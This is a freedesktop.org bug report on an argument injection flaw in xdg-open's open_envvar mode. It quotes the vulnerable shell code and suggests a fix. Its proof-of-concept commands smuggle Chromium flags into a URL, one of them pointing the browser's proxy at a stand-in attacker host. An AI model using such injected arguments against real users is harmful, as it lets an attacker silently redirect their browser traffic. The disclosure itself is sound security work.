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<base href="https://bugs.freedesktop.org/">
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<th>Bug ID</th>
<td><a class="bz_bug_link
bz_status_NEW "
title="NEW - Argument injection in xdg-open open_envvar"
href="https://bugs.freedesktop.org/show_bug.cgi?id=103807">103807</a>
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<th>Summary</th>
<td>Argument injection in xdg-open open_envvar
</td>
</tr>
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<th>Product</th>
<td>Portland
</td>
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<th>Version</th>
<td>unspecified
</td>
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<th>Hardware</th>
<td>All
</td>
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<th>OS</th>
<td>All
</td>
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<th>Status</th>
<td>NEW
</td>
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<th>Severity</th>
<td>major
</td>
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<th>Priority</th>
<td>medium
</td>
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<th>Component</th>
<td>xdg-utils
</td>
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<th>Assignee</th>
<td>portland-bugs@lists.freedesktop.org
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<th>Reporter</th>
<td>gabriel.corona@enst-bretagne.fr
</td>
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<p>
<div>
<pre>xdg-open open_envvar is vulnerable to argument injection when BROWSER contains
%s:
This command:
BROWSER="chromium %s" xdg-open "<a href="http://www.example.com/">http://www.example.com/</a> --incognito"
will open incognito mode of chromium (when open_envvar mode is used).
The corresponding code is:
if echo "$browser" | grep -q %s; then
$(printf "$browser" "$1")
This could be abused to silently set chromium proxy configuration which would
allow an attacker to redirect all of the browser traffic through a server under
his control:
BROWSER="chromium %s" xdg-open "<a href="http://www.example.com/">http://www.example.com/</a>
--proxy-pac-url=<a href="http://dangerous.example.com/proxy.pac">http://dangerous.example.com/proxy.pac</a>"
One possible solution would be to URI-encode IFS characters in $1.
See <a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767">https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=881767</a> for a similar
problem in sensible-browser.</pre>
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</p>
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